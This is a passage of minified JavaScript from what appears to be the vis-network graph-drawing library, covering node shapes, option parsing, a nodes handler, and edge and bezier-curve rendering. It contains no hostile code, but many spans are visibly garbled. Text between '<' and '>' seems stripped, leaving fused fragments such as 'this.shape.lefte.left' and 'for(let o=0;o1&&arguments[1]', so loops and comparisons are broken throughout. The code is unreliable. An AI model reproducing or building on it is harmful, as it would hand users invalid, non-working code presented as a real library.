this._distanceToBorder(e,t)}}class $H extends gA{constructor(e,t,i){super(e,t,i),this._setMargins(i)}resize(e,t,i){if(this.needsRefresh(t,i)){const o=this.getDimensionsFromLabel(e,t,i).width+this.margin.right+this.margin.left;this.width=o,this.height=o,this.radius=this.width/2}}draw(e,t,i,C,o,s){this.resize(e,C,o),this.left=t-this.width/2,this.top=i-this.height/2,this.initContextForDraw(e,s),hm(e,t-this.width/2,i-this.height/2,this.width,this.height),this.performFill(e,s),this.updateBoundingBox(t,i,e,C,o),this.labelModule.draw(e,this.left+this.textSize.width/2+this.margin.left,this.top+this.textSize.height/2+this.margin.top,C,o)}distanceToBorder(e,t){return this._distanceToBorder(e,t)}}let e7=class extends on{constructor(e,t,i){super(e,t,i)}draw(e,t,i,C,o,s){return this._drawShape(e,"diamond",4,t,i,C,o,s)}distanceToBorder(e,t){return this._distanceToBorder(e,t)}};class t7 extends on{constructor(e,t,i){super(e,t,i)}draw(e,t,i,C,o,s){return this._drawShape(e,"circle",2,t,i,C,o,s)}distanceToBorder(e){return e&&this.resize(e),this.options.size}}class W0 extends gA{constructor(e,t,i){super(e,t,i)}resize(e){let t=arguments.length>1&&arguments[1]!==void 0?arguments[1]:this.selected,i=arguments.length>2&&arguments[2]!==void 0?arguments[2]:this.hover;if(this.needsRefresh(t,i)){const C=this.getDimensionsFromLabel(e,t,i);this.height=C.height*2,this.width=C.width+C.height,this.radius=.5*this.width}}draw(e,t,i,C,o,s){this.resize(e,C,o),this.left=t-this.width*.5,this.top=i-this.height*.5,this.initContextForDraw(e,s),Rl(e,this.left,this.top,this.width,this.height),this.performFill(e,s),this.updateBoundingBox(t,i,e,C,o),this.labelModule.draw(e,t,i,C,o)}distanceToBorder(e,t){e&&this.resize(e);const i=this.width*.5,C=this.height*.5,o=Math.sin(t)*i,s=Math.cos(t)*C;return i*C/Math.sqrt(o*o+s*s)}}class g7 extends gA{constructor(e,t,i){super(e,t,i),this._setMargins(i)}resize(e,t,i){this.needsRefresh(t,i)&&(this.iconSize={width:Number(this.options.icon.size),height:Number(this.options.icon.size)},this.width=this.iconSize.width+this.margin.right+this.margin.left,this.height=this.iconSize.height+this.margin.top+this.margin.bottom,this.radius=.5*this.width)}draw(e,t,i,C,o,s){return this.resize(e,C,o),this.options.icon.size=this.options.icon.size||50,this.left=t-this.width/2,this.top=i-this.height/2,this._icon(e,t,i,C,o,s),{drawExternalLabel:()=>{this.options.label!==void 0&&this.labelModule.draw(e,this.left+this.iconSize.width/2+this.margin.left,i+this.height/2+5,C),this.updateBoundingBox(t,i)}}}updateBoundingBox(e,t){this.boundingBox.top=t-this.options.icon.size*.5,this.boundingBox.left=e-this.options.icon.size*.5,this.boundingBox.right=e+this.options.icon.size*.5,this.boundingBox.bottom=t+this.options.icon.size*.5,this.options.label!==void 0&&this.labelModule.size.width>0&&(this.boundingBox.left=Math.min(this.boundingBox.left,this.labelModule.size.left),this.boundingBox.right=Math.max(this.boundingBox.right,this.labelModule.size.left+this.labelModule.size.width),this.boundingBox.bottom=Math.max(this.boundingBox.bottom,this.boundingBox.bottom+this.labelModule.size.height+5))}_icon(e,t,i,C,o,s){const a=Number(this.options.icon.size);this.options.icon.code!==void 0?(e.font=[this.options.icon.weight!=null?this.options.icon.weight:C?"bold":"",(this.options.icon.weight!=null&&C?5:0)+a+"px",this.options.icon.face].join(" "),e.fillStyle=this.options.icon.color||"black",e.textAlign="center",e.textBaseline="middle",this.enableShadow(e,s),e.fillText(this.options.icon.code,t,i),this.disableShadow(e,s)):console.error("When using the icon shape, you need to define the code in the icon options object. This can be done per node or globally.")}distanceToBorder(e,t){return this._distanceToBorder(e,t)}}let i7=class extends pu{constructor(e,t,i,C,o){super(e,t,i),this.setImages(C,o)}resize(e){let t=arguments.length>1&&arguments[1]!==void 0?arguments[1]:this.selected,i=arguments.length>2&&arguments[2]!==void 0?arguments[2]:this.hover;if(this.imageObj.src===void 0||this.imageObj.width===void 0||this.imageObj.height===void 0){const o=this.options.size*2;this.width=o,this.height=o;return}this.needsRefresh(t,i)&&this._resizeImage()}draw(e,t,i,C,o,s){e.save(),this.switchImages(C),this.resize();let a=t,l=i;if(this.options.shapeProperties.coordinateOrigin==="top-left"?(this.left=t,this.top=i,a+=this.width/2,l+=this.height/2):(this.left=t-this.width/2,this.top=i-this.height/2),this.options.shapeProperties.useBorderWithImage===!0){const u=this.options.borderWidth,h=this.options.borderWidthSelected||2*this.options.borderWidth,p=(C?h:u)/this.body.view.scale;e.lineWidth=Math.min(this.width,p),e.beginPath();let m=C?this.options.color.highlight.border:o?this.options.color.hover.border:this.options.color.border,v=C?this.options.color.highlight.background:o?this.options.color.hover.background:this.options.color.background;s.opacity!==void 0&&(m=Dg(m,s.opacity),v=Dg(v,s.opacity)),e.strokeStyle=m,e.fillStyle=v,e.rect(this.left-.5*e.lineWidth,this.top-.5*e.lineWidth,this.width+e.lineWidth,this.height+e.lineWidth),OI(e).call(e),this.performStroke(e,s),e.closePath()}this._drawImageAtPosition(e,s),this._drawImageLabel(e,a,l,C,o),this.updateBoundingBox(t,i),e.restore()}updateBoundingBox(e,t){this.resize(),this.options.shapeProperties.coordinateOrigin==="top-left"?(this.left=e,this.top=t):(this.left=e-this.width/2,this.top=t-this.height/2),this.boundingBox.left=this.left,this.boundingBox.top=this.top,this.boundingBox.bottom=this.top+this.height,this.boundingBox.right=this.left+this.width,this.options.label!==void 0&&this.labelModule.size.width>0&&(this.boundingBox.left=Math.min(this.boundingBox.left,this.labelModule.size.left),this.boundingBox.right=Math.max(this.boundingBox.right,this.labelModule.size.left+this.labelModule.size.width),this.boundingBox.bottom=Math.max(this.boundingBox.bottom,this.boundingBox.bottom+this.labelOffset))}distanceToBorder(e,t){return this._distanceToBorder(e,t)}};class n7 extends on{constructor(e,t,i){super(e,t,i)}draw(e,t,i,C,o,s){return this._drawShape(e,"square",2,t,i,C,o,s)}distanceToBorder(e,t){return this._distanceToBorder(e,t)}}class A7 extends on{constructor(e,t,i){super(e,t,i)}draw(e,t,i,C,o,s){return this._drawShape(e,"hexagon",4,t,i,C,o,s)}distanceToBorder(e,t){return this._distanceToBorder(e,t)}}class C7 extends on{constructor(e,t,i){super(e,t,i)}draw(e,t,i,C,o,s){return this._drawShape(e,"star",4,t,i,C,o,s)}distanceToBorder(e,t){return this._distanceToBorder(e,t)}}class I7 extends gA{constructor(e,t,i){super(e,t,i),this._setMargins(i)}resize(e,t,i){this.needsRefresh(t,i)&&(this.textSize=this.labelModule.getTextSize(e,t,i),this.width=this.textSize.width+this.margin.right+this.margin.left,this.height=this.textSize.height+this.margin.top+this.margin.bottom,this.radius=.5*this.width)}draw(e,t,i,C,o,s){this.resize(e,C,o),this.left=t-this.width/2,this.top=i-this.height/2,this.enableShadow(e,s),this.labelModule.draw(e,this.left+this.textSize.width/2+this.margin.left,this.top+this.textSize.height/2+this.margin.top,C,o),this.disableShadow(e,s),this.updateBoundingBox(t,i,e,C,o)}distanceToBorder(e,t){return this._distanceToBorder(e,t)}}let o7=class extends on{constructor(e,t,i){super(e,t,i)}draw(e,t,i,C,o,s){return this._drawShape(e,"triangle",3,t,i,C,o,s)}distanceToBorder(e,t){return this._distanceToBorder(e,t)}};class s7 extends on{constructor(e,t,i){super(e,t,i)}draw(e,t,i,C,o,s){return this._drawShape(e,"triangleDown",3,t,i,C,o,s)}distanceToBorder(e,t){return this._distanceToBorder(e,t)}}function q0(n,e){var t=Je(n);if(si){var i=si(n);e&&(i=wt(i).call(i,function(C){return ri(n,C).enumerable})),t.push.apply(t,i)}return t}function J0(n){for(var e=1;et[u]!=null);l.push("font"),Ks(l,e,a),e.color=Gc(e.color)}static parseOptions(e,t){let i=arguments.length>2&&arguments[2]!==void 0?arguments[2]:!1,C=arguments.length>3&&arguments[3]!==void 0?arguments[3]:{},o=arguments.length>4?arguments[4]:void 0;if(Ks(["color","fixed","shadow"],e,t,i),it.checkMass(t),e.opacity!==void 0&&(it.checkOpacity(e.opacity)||(console.error("Invalid option for node opacity. Value must be between 0 and 1, found: "+e.opacity),e.opacity=void 0)),t.opacity!==void 0&&(it.checkOpacity(t.opacity)||(console.error("Invalid option for node opacity. Value must be between 0 and 1, found: "+t.opacity),t.opacity=void 0)),t.shapeProperties&&!it.checkCoordinateOrigin(t.shapeProperties.coordinateOrigin)&&console.error("Invalid option for node coordinateOrigin, found: "+t.shapeProperties.coordinateOrigin),zg(e,t,"shadow",C),t.color!==void 0&&t.color!==null){const a=Gc(t.color);hb(e.color,a)}else i===!0&&t.color===null&&(e.color=gn(C.color));t.fixed!==void 0&&t.fixed!==null&&(typeof t.fixed=="boolean"?(e.fixed.x=t.fixed,e.fixed.y=t.fixed):(t.fixed.x!==void 0&&typeof t.fixed.x=="boolean"&&(e.fixed.x=t.fixed.x),t.fixed.y!==void 0&&typeof t.fixed.y=="boolean"&&(e.fixed.y=t.fixed.y))),i===!0&&t.font===null&&(e.font=gn(C.font)),it.updateGroupOptions(e,t,o),t.scaling!==void 0&&zg(e.scaling,t.scaling,"label",C.scaling)}getFormattingValues(){const e={color:this.options.color.background,opacity:this.options.opacity,borderWidth:this.options.borderWidth,borderColor:this.options.color.border,size:this.options.size,borderDashes:this.options.shapeProperties.borderDashes,borderRadius:this.options.shapeProperties.borderRadius,shadow:this.options.shadow.enabled,shadowColor:this.options.shadow.color,shadowSize:this.options.shadow.size,shadowX:this.options.shadow.x,shadowY:this.options.shadow.y};if(this.selected||this.hover?this.chooser===!0?this.selected?(this.options.borderWidthSelected!=null?e.borderWidth=this.options.borderWidthSelected:e.borderWidth*=2,e.color=this.options.color.highlight.background,e.borderColor=this.options.color.highlight.border,e.shadow=this.options.shadow.enabled):this.hover&&(e.color=this.options.color.hover.background,e.borderColor=this.options.color.hover.border,e.shadow=this.options.shadow.enabled):typeof this.chooser=="function"&&(this.chooser(e,this.options.id,this.selected,this.hover),e.shadow===!1&&(e.shadowColor!==this.options.shadow.color||e.shadowSize!==this.options.shadow.size||e.shadowX!==this.options.shadow.x||e.shadowY!==this.options.shadow.y)&&(e.shadow=!0)):e.shadow=this.options.shadow.enabled,this.options.opacity!==void 0){const t=this.options.opacity;e.borderColor=Dg(e.borderColor,t),e.color=Dg(e.color,t),e.shadowColor=Dg(e.shadowColor,t)}return e}updateLabelModule(e){(this.options.label===void 0||this.options.label===null)&&(this.options.label=""),it.updateGroupOptions(this.options,J0(J0({},e),{},{color:e&&e.color||this._localColor||void 0}),this.grouplist);const t=this.grouplist.get(this.options.group,!1),i=[e,this.options,t,this.globalOptions,this.defaultOptions];this.labelModule.update(this.options,i),this.labelModule.baseSize!==void 0&&(this.baseFontSize=this.labelModule.baseSize)}updateShape(e){if(e===this.options.shape&&this.shape)this.shape.setOptions(this.options,this.imageObj,this.imageObjAlt);else switch(this.options.shape){case"box":this.shape=new QH(this.options,this.body,this.labelModule);break;case"circle":this.shape=new XH(this.options,this.body,this.labelModule);break;case"circularImage":this.shape=new WH(this.options,this.body,this.labelModule,this.imageObj,this.imageObjAlt);break;case"custom":this.shape=new JH(this.options,this.body,this.labelModule,this.options.ctxRenderer);break;case"database":this.shape=new $H(this.options,this.body,this.labelModule);break;case"diamond":this.shape=new e7(this.options,this.body,this.labelModule);break;case"dot":this.shape=new t7(this.options,this.body,this.labelModule);break;case"ellipse":this.shape=new W0(this.options,this.body,this.labelModule);break;case"icon":this.shape=new g7(this.options,this.body,this.labelModule);break;case"image":this.shape=new i7(this.options,this.body,this.labelModule,this.imageObj,this.imageObjAlt);break;case"square":this.shape=new n7(this.options,this.body,this.labelModule);break;case"hexagon":this.shape=new A7(this.options,this.body,this.labelModule);break;case"star":this.shape=new C7(this.options,this.body,this.labelModule);break;case"text":this.shape=new I7(this.options,this.body,this.labelModule);break;case"triangle":this.shape=new o7(this.options,this.body,this.labelModule);break;case"triangleDown":this.shape=new s7(this.options,this.body,this.labelModule);break;default:this.shape=new W0(this.options,this.body,this.labelModule);break}this.needsRefresh()}select(){this.selected=!0,this.needsRefresh()}unselect(){this.selected=!1,this.needsRefresh()}needsRefresh(){this.shape.refreshNeeded=!0}getTitle(){return this.options.title}distanceToBorder(e,t){return this.shape.distanceToBorder(e,t)}isFixed(){return this.options.fixed.x&&this.options.fixed.y}isSelected(){return this.selected}getValue(){return this.options.value}getLabelSize(){return this.labelModule.size()}setValueRange(e,t,i){if(this.options.value!==void 0){const C=this.options.scaling.customScalingFunction(e,t,i,this.options.value),o=this.options.scaling.max-this.options.scaling.min;if(this.options.scaling.label.enabled===!0){const s=this.options.scaling.label.max-this.options.scaling.label.min;this.options.font.size=this.options.scaling.label.min+C*s}this.options.size=this.options.scaling.min+C*o}else this.options.size=this.baseSize,this.options.font.size=this.baseFontSize;this.updateLabelModule()}draw(e){const t=this.getFormattingValues();return this.shape.draw(e,this.x,this.y,this.selected,this.hover,t)||{}}updateBoundingBox(e){this.shape.updateBoundingBox(this.x,this.y,e)}resize(e){const t=this.getFormattingValues();this.shape.resize(e,this.selected,this.hover,t)}getItemsOnPoint(e){const t=[];return this.labelModule.visible()&&fu(this.labelModule.getSize(),e)&&t.push({nodeId:this.id,labelId:0}),fu(this.shape.boundingBox,e)&&t.push({nodeId:this.id}),t}isOverlappingWith(e){return this.shape.lefte.left&&this.shape.tope.top}isBoundingBoxOverlappingWith(e){return this.shape.boundingBox.lefte.left&&this.shape.boundingBox.tope.top}static checkMass(e,t){if(e.mass!==void 0&&e.mass<=0){let i="";t!==void 0&&(i=" in node id: "+t),console.error("%cNegative or zero mass disallowed"+i+", setting mass to 1.",yb),e.mass=1}}}class r7{constructor(e,t,i,C){var o;if(this.body=e,this.images=t,this.groups=i,this.layoutEngine=C,this.body.functions.createNode=Q(o=this.create).call(o,this),this.nodesListeners={add:(s,a)=>{this.add(a.items)},update:(s,a)=>{this.update(a.items,a.data,a.oldData)},remove:(s,a)=>{this.remove(a.items)}},this.defaultOptions={borderWidth:1,borderWidthSelected:void 0,brokenImage:void 0,color:{border:"#2B7CE9",background:"#97C2FC",highlight:{border:"#2B7CE9",background:"#D2E5FF"},hover:{border:"#2B7CE9",background:"#D2E5FF"}},opacity:void 0,fixed:{x:!1,y:!1},font:{color:"#343434",size:14,face:"arial",background:"none",strokeWidth:0,strokeColor:"#ffffff",align:"center",vadjust:0,multi:!1,bold:{mod:"bold"},boldital:{mod:"bold italic"},ital:{mod:"italic"},mono:{mod:"",size:15,face:"monospace",vadjust:2}},group:void 0,hidden:!1,icon:{face:"FontAwesome",code:void 0,size:50,color:"#2B7CE9"},image:void 0,imagePadding:{top:0,right:0,bottom:0,left:0},label:void 0,labelHighlightBold:!0,level:void 0,margin:{top:5,right:5,bottom:5,left:5},mass:1,physics:!0,scaling:{min:10,max:30,label:{enabled:!1,min:14,max:30,maxVisible:30,drawThreshold:5},customScalingFunction:function(s,a,l,u){if(a===s)return .5;{const h=1/(a-s);return Math.max(0,(u-s)*h)}}},shadow:{enabled:!1,color:"rgba(0,0,0,0.5)",size:10,x:5,y:5},shape:"ellipse",shapeProperties:{borderDashes:!1,borderRadius:6,interpolation:!0,useImageSize:!1,useBorderWithImage:!1,coordinateOrigin:"center"},size:25,title:void 0,value:void 0,x:void 0,y:void 0},this.defaultOptions.mass<=0)throw"Internal error: mass in defaultOptions of NodesHandler may not be zero or negative";this.options=gn(this.defaultOptions),this.bindEventListeners()}bindEventListeners(){var e,t;this.body.emitter.on("refreshNodes",Q(e=this.refresh).call(e,this)),this.body.emitter.on("refresh",Q(t=this.refresh).call(t,this)),this.body.emitter.on("destroy",()=>{Ee(this.nodesListeners,(i,C)=>{this.body.data.nodes&&this.body.data.nodes.off(C,i)}),delete this.body.functions.createNode,delete this.nodesListeners.add,delete this.nodesListeners.update,delete this.nodesListeners.remove,delete this.nodesListeners})}setOptions(e){if(e!==void 0){if(it.parseOptions(this.options,e),e.opacity!==void 0&&(gu(e.opacity)||!eA(e.opacity)||e.opacity<0||e.opacity>1?console.error("Invalid option for node opacity. Value must be between 0 and 1, found: "+e.opacity):this.options.opacity=e.opacity),e.shape!==void 0)for(const t in this.body.nodes)Object.prototype.hasOwnProperty.call(this.body.nodes,t)&&this.body.nodes[t].updateShape();if(typeof e.font<"u"||typeof e.widthConstraint<"u"||typeof e.heightConstraint<"u")for(const t of Je(this.body.nodes))this.body.nodes[t].updateLabelModule(),this.body.nodes[t].needsRefresh();if(e.size!==void 0)for(const t in this.body.nodes)Object.prototype.hasOwnProperty.call(this.body.nodes,t)&&this.body.nodes[t].needsRefresh();(e.hidden!==void 0||e.physics!==void 0)&&this.body.emitter.emit("_dataChanged")}}setData(e){let t=arguments.length>1&&arguments[1]!==void 0?arguments[1]:!1;const i=this.body.data.nodes;if(G0("id",e))this.body.data.nodes=e;else if(Re(e))this.body.data.nodes=new AC,this.body.data.nodes.add(e);else if(!e)this.body.data.nodes=new AC;else throw new TypeError("Array or DataSet expected");if(i&&Ee(this.nodesListeners,function(C,o){i.off(o,C)}),this.body.nodes={},this.body.data.nodes){const C=this;Ee(this.nodesListeners,function(s,a){C.body.data.nodes.on(a,s)});const o=this.body.data.nodes.getIds();this.add(o,!0)}t===!1&&this.body.emitter.emit("_dataChanged")}add(e){let t=arguments.length>1&&arguments[1]!==void 0?arguments[1]:!1,i;const C=[];for(let o=0;o1&&arguments[1]!==void 0?arguments[1]:it;return new t(e,this.body,this.images,this.groups,this.options,this.defaultOptions)}refresh(){let e=arguments.length>0&&arguments[0]!==void 0?arguments[0]:!1;Ee(this.body.nodes,(t,i)=>{const C=this.body.data.nodes.get(i);C!==void 0&&(e===!0&&t.setOptions({x:null,y:null}),t.setOptions({fixed:!1}),t.setOptions(C))})}getPositions(e){const t={};if(e!==void 0){if(Re(e)===!0){for(let i=0;i{this.body.emitter.emit("startSimulation")},0)):console.error("Node id supplied to moveNode does not exist. Provided: ",e)}}var a7=ue,$0=Math.hypot,l7=Math.abs,c7=Math.sqrt,u7=!!$0&&$0(1/0,NaN)!==1/0;a7({target:"Math",stat:!0,forced:u7},{hypot:function(e,t){for(var i=0,C=0,o=arguments.length,s=0,a,l;C0?(l=a/s,i+=l*l):i+=a;return s===1/0?1/0:s*c7(i)}});var d7=je,h7=d7.Math.hypot,f7=h7,p7=f7,m7=p7,v7=ae(m7);class ft{static transform(e,t){Re(e)||(e=[e]);const i=t.point.x,C=t.point.y,o=t.angle,s=t.length;for(let a=0;a4&&arguments[4]!==void 0?arguments[4]:this.getViaNode();e.strokeStyle=this.getColor(e,t),e.lineWidth=t.width,t.dashes!==!1?this._drawDashedLine(e,t,o):this._drawLine(e,t,o)}_drawLine(e,t,i,C,o){if(this.from!=this.to)this._line(e,t,i,C,o);else{const[s,a,l]=this._getCircleData(e);this._circle(e,t,s,a,l)}}_drawDashedLine(e,t,i,C,o){e.lineCap="round";const s=Re(t.dashes)?t.dashes:[5,5];if(e.setLineDash!==void 0){if(e.save(),e.setLineDash(s),e.lineDashOffset=0,this.from!=this.to)this._line(e,t,i);else{const[a,l,u]=this._getCircleData(e);this._circle(e,t,a,l,u)}e.setLineDash([0]),e.lineDashOffset=0,e.restore()}else{if(this.from!=this.to)fm(e,this.from.x,this.from.y,this.to.x,this.to.y,s);else{const[a,l,u]=this._getCircleData(e);this._circle(e,t,a,l,u)}this.enableShadow(e,t),e.stroke(),this.disableShadow(e,t)}}findBorderPosition(e,t,i){return this.from!=this.to?this._findBorderPosition(e,t,i):this._findBorderPositionCircle(e,t,i)}findBorderPositions(e){if(this.from!=this.to)return{from:this._findBorderPosition(this.from,e),to:this._findBorderPosition(this.to,e)};{var t;const[i,C]=Qg(t=this._getCircleData(e)).call(t,0,2);return{from:this._findBorderPositionCircle(this.from,e,{x:i,y:C,low:.25,high:.6,direction:-1}),to:this._findBorderPositionCircle(this.from,e,{x:i,y:C,low:.6,high:.8,direction:1})}}}_getCircleData(e){const t=this.options.selfReference.size;e!==void 0&&this.from.shape.width===void 0&&this.from.shape.resize(e);const i=K0(e,this.options.selfReference.angle,t,this.from);return[i.x,i.y,t]}_pointOnCircle(e,t,i,C){const o=C*2*Math.PI;return{x:e+i*Math.cos(o),y:t-i*Math.sin(o)}}_findBorderPositionCircle(e,t,i){const C=i.x,o=i.y;let s=i.low,a=i.high;const l=i.direction,u=10,h=this.options.selfReference.size,p=.05;let m,v=(s+a)*.5,w=0;this.options.arrowStrikethrough===!0&&(l===-1?w=this.options.endPointOffset.from:l===1&&(w=this.options.endPointOffset.to));let D=0;do{v=(s+a)*.5,m=this._pointOnCircle(C,o,h,v);const N=Math.atan2(e.y-m.y,e.x-m.x),z=e.distanceToBorder(t,N)+w,k=Math.sqrt(Math.pow(m.x-e.x,2)+Math.pow(m.y-e.y,2)),Y=z-k;if(Math.abs(Y)0?l>0?s=v:a=v:l>0?a=v:s=v,++D}while(s<=a&&D1?h=1:h<0&&(h=0);const p=e+h*a,m=t+h*l,v=p-o,w=m-s;return Math.sqrt(v*v+w*w)}getArrowData(e,t,i,C,o,s){let a,l,u,h,p,m,v;const w=s.width;t==="from"?(u=this.from,h=this.to,p=s.fromArrowScale<0,m=Math.abs(s.fromArrowScale),v=s.fromArrowType):t==="to"?(u=this.to,h=this.from,p=s.toArrowScale<0,m=Math.abs(s.toArrowScale),v=s.toArrowType):(u=this.to,h=this.from,p=s.middleArrowScale<0,m=Math.abs(s.middleArrowScale),v=s.middleArrowType);const D=15*m+3*w;if(u!=h){const Y=v7(u.x-h.x,u.y-h.y),j=D/Y;if(t!=="middle")if(this.options.smooth.enabled===!0){const K=this._findBorderPosition(u,e,{via:i}),Ae=this.getPoint(K.t+j*(t==="from"?1:-1),i);a=Math.atan2(K.y-Ae.y,K.x-Ae.x),l=K}else a=Math.atan2(u.y-h.y,u.x-h.x),l=this._findBorderPosition(u,e);else{const K=(p?-j:j)/2,Ae=this.getPoint(.5+K,i),q=this.getPoint(.5-K,i);a=Math.atan2(Ae.y-q.y,Ae.x-q.x),l=this.getPoint(.5,i)}}else{const[Y,j,K]=this._getCircleData(e);if(t==="from"){const Ae=this.options.selfReference.angle,q=this.options.selfReference.angle+Math.PI,re=this._findBorderPositionCircle(this.from,e,{x:Y,y:j,low:Ae,high:q,direction:-1});a=re.t*-2*Math.PI+1.5*Math.PI+.1*Math.PI,l=re}else if(t==="to"){const Ae=this.options.selfReference.angle,q=this.options.selfReference.angle+Math.PI,re=this._findBorderPositionCircle(this.from,e,{x:Y,y:j,low:Ae,high:q,direction:1});a=re.t*-2*Math.PI+1.5*Math.PI-1.1*Math.PI,l=re}else{const Ae=this.options.selfReference.angle/(2*Math.PI);l=this._pointOnCircle(Y,j,K,Ae),a=Ae*-2*Math.PI+1.5*Math.PI+.1*Math.PI}}const N=l.x-D*.9*Math.cos(a),z=l.y-D*.9*Math.sin(a);return{point:l,core:{x:N,y:z},angle:a,length:D,type:v}}drawArrowHead(e,t,i,C,o){e.strokeStyle=this.getColor(e,t),e.fillStyle=e.strokeStyle,e.lineWidth=t.width,ew.draw(e,o)&&(this.enableShadow(e,t),OI(e).call(e),this.disableShadow(e,t))}enableShadow(e,t){t.shadow===!0&&(e.shadowColor=t.shadowColor,e.shadowBlur=t.shadowSize,e.shadowOffsetX=t.shadowX,e.shadowOffsetY=t.shadowY)}disableShadow(e,t){t.shadow===!0&&(e.shadowColor="rgba(0,0,0,0)",e.shadowBlur=0,e.shadowOffsetX=0,e.shadowOffsetY=0)}drawBackground(e,t){if(t.background!==!1){const i={strokeStyle:e.strokeStyle,lineWidth:e.lineWidth,dashes:e.dashes};e.strokeStyle=t.backgroundColor,e.lineWidth=t.backgroundSize,this.setStrokeDashed(e,t.backgroundDashes),e.stroke(),e.strokeStyle=i.strokeStyle,e.lineWidth=i.lineWidth,e.dashes=i.dashes,this.setStrokeDashed(e,t.dashes)}}setStrokeDashed(e,t){if(t!==!1)if(e.setLineDash!==void 0){const i=Re(t)?t:[5,5];e.setLineDash(i)}else console.warn("setLineDash is not supported in this browser. The dashed stroke cannot be used.");else e.setLineDash!==void 0?e.setLineDash([]):console.warn("setLineDash is not supported in this browser. The dashed stroke cannot be used.")}}function nw(n,e){var t=Je(n);if(si){var i=si(n);e&&(i=wt(i).call(i,function(C){return ri(n,C).enumerable})),t.push.apply(t,i)}return t}function Aw(n){for(var e=1;e2&&arguments[2]!==void 0?arguments[2]:this._getViaCoordinates();const C=10,o=.2;let s=!1,a=1,l=0,u=this.to,h,p,m=this.options.endPointOffset?this.options.endPointOffset.to:0;e.id===this.from.id&&(u=this.from,s=!0,m=this.options.endPointOffset?this.options.endPointOffset.from:0),this.options.arrowStrikethrough===!1&&(m=0);let v=0;do{p=(l+a)*.5,h=this.getPoint(p,i);const w=Math.atan2(u.y-h.y,u.x-h.x),D=u.distanceToBorder(t,w)+m,N=Math.sqrt(Math.pow(h.x-u.x,2)+Math.pow(h.y-u.y,2)),z=D-N;if(Math.abs(z)0&&(u=this._getDistanceToLine(w,D,m,v,o,s),l=u{this.positionBezierNode()},this._body.emitter.on("_repositionBezierNodes",this._boundFunction)}setOptions(e){super.setOptions(e);let t=!1;this.options.physics!==e.physics&&(t=!0),this.options=e,this.id=this.options.id,this.from=this._body.nodes[this.options.from],this.to=this._body.nodes[this.options.to],this.setupSupportNode(),this.connect(),t===!0&&(this.via.setOptions({physics:this.options.physics}),this.positionBezierNode())}connect(){this.from=this._body.nodes[this.options.from],this.to=this._body.nodes[this.options.to],this.from===void 0||this.to===void 0||this.options.physics===!1?this.via.setOptions({physics:!1}):this.from.id===this.to.id?this.via.setOptions({physics:!1}):this.via.setOptions({physics:!0})}cleanup(){return this._body.emitter.off("_repositionBezierNodes",this._boundFunction),this.via!==void 0?(delete this._body.nodes[this.via.id],this.via=void 0,!0):!1}setupSupportNode(){if(this.via===void 0){const e="edgeId:"+this.id,t=this._body.functions.createNode({id:e,shape:"circle",physics:!0,hidden:!0});this._body.nodes[e]=t,this.via=t,this.via.parentEdgeId=this.id,this.positionBezierNode()}}positionBezierNode(){this.via!==void 0&&this.from!==void 0&&this.to!==void 0?(this.via.x=.5*(this.from.x+this.to.x),this.via.y=.5*(this.from.y+this.to.y)):this.via!==void 0&&(this.via.x=0,this.via.y=0)}_line(e,t,i){this._bezierCurve(e,t,i)}_getViaCoordinates(){return this.via}getViaNode(){return this.via}getPoint(e){let t=arguments.length>1&&arguments[1]!==void 0?arguments[1]:this.via;if(this.from===this.to){const[i,C,o]=this._getCircleData(),s=2*Math.PI*(1-e);return{x:i+o*Math.sin(s),y:C+o-o*(1-Math.cos(s))}}else return{x:Math.pow(1-e,2)*this.fromPoint.x+2*e*(1-e)*t.x+Math.pow(e,2)*this.toPoint.x,y:Math.pow(1-e,2)*this.fromPoint.y+2*e*(1-e)*t.y+Math.pow(e,2)*this.toPoint.y}}_findBorderPosition(e,t){return this._findBorderPositionBezier(e,t,this.via)}_getDistanceToEdge(e,t,i,C,o,s){return this._getDistanceToBezierEdge(e,t,i,C,o,s,this.via)}}class Iw extends mu{constructor(e,t,i){super(e,t,i)}_line(e,t,i){this._bezierCurve(e,t,i)}getViaNode(){return this._getViaCoordinates()}_getViaCoordinates(){const e=this.options.smooth.roundness,t=this.options.smooth.type;let i=Math.abs(this.from.x-this.to.x),C=Math.abs(this.from.y-this.to.y);if(t==="discrete"||t==="diagonalCross"){let o,s;i<=C?o=s=e*C:o=s=e*i,this.from.x>this.to.x&&(o=-o),this.from.y>=this.to.y&&(s=-s);let a=this.from.x+o,l=this.from.y+s;return t==="discrete"&&(i<=C?a=ithis.to.x&&(o=-o),this.from.y>=this.to.y&&(s=-s);let a=this.from.x+o,l=this.from.y+s;return i<=C?this.from.x<=this.to.x?a=this.to.xa?this.to.x:a:this.from.y>=this.to.y?l=this.to.y>l?this.to.y:l:l=this.to.y2&&arguments[2]!==void 0?arguments[2]:{};return this._findBorderPositionBezier(e,t,i.via)}_getDistanceToEdge(e,t,i,C,o,s){let a=arguments.length>6&&arguments[6]!==void 0?arguments[6]:this._getViaCoordinates();return this._getDistanceToBezierEdge(e,t,i,C,o,s,a)}getPoint(e){let t=arguments.length>1&&arguments[1]!==void 0?arguments[1]:this._getViaCoordinates();const i=e,C=Math.pow(1-i,2)*this.fromPoint.x+2*i*(1-i)*t.x+Math.pow(i,2)*this.toPoint.x,o=Math.pow(1-i,2)*this.fromPoint.y+2*i*(1-i)*t.y+Math.pow(i,2)*this.toPoint.y;return{x:C,y:o}}}class M7 extends mu{constructor(e,t,i){super(e,t,i)}_getDistanceToBezierEdge2(e,t,i,C,o,s,a,l){let u=1e9,h=e,p=t;const m=[0,0,0,0];for(let v=1;v<10;v++){const w=.1*v;m[0]=Math.pow(1-w,3),m[1]=3*w*Math.pow(1-w,2),m[2]=3*Math.pow(w,2)*(1-w),m[3]=Math.pow(w,3);const D=m[0]*e+m[1]*a.x+m[2]*l.x+m[3]*i,N=m[0]*t+m[1]*a.y+m[2]*l.y+m[3]*C;if(v>0){const z=this._getDistanceToLine(h,p,D,N,o,s);u=zMath.abs(t)||this.options.smooth.forceDirection===!0||this.options.smooth.forceDirection==="horizontal")&&this.options.smooth.forceDirection!=="vertical"?(C=this.from.y,s=this.to.y,i=this.from.x-a*e,o=this.to.x+a*e):(C=this.from.y-a*t,s=this.to.y+a*t,i=this.from.x,o=this.to.x),[{x:i,y:C},{x:o,y:s}]}getViaNode(){return this._getViaCoordinates()}_findBorderPosition(e,t){return this._findBorderPositionBezier(e,t)}_getDistanceToEdge(e,t,i,C,o,s){let[a,l]=arguments.length>6&&arguments[6]!==void 0?arguments[6]:this._getViaCoordinates();return this._getDistanceToBezierEdge2(e,t,i,C,o,s,a,l)}getPoint(e){let[t,i]=arguments.length>1&&arguments[1]!==void 0?arguments[1]:this._getViaCoordinates();const 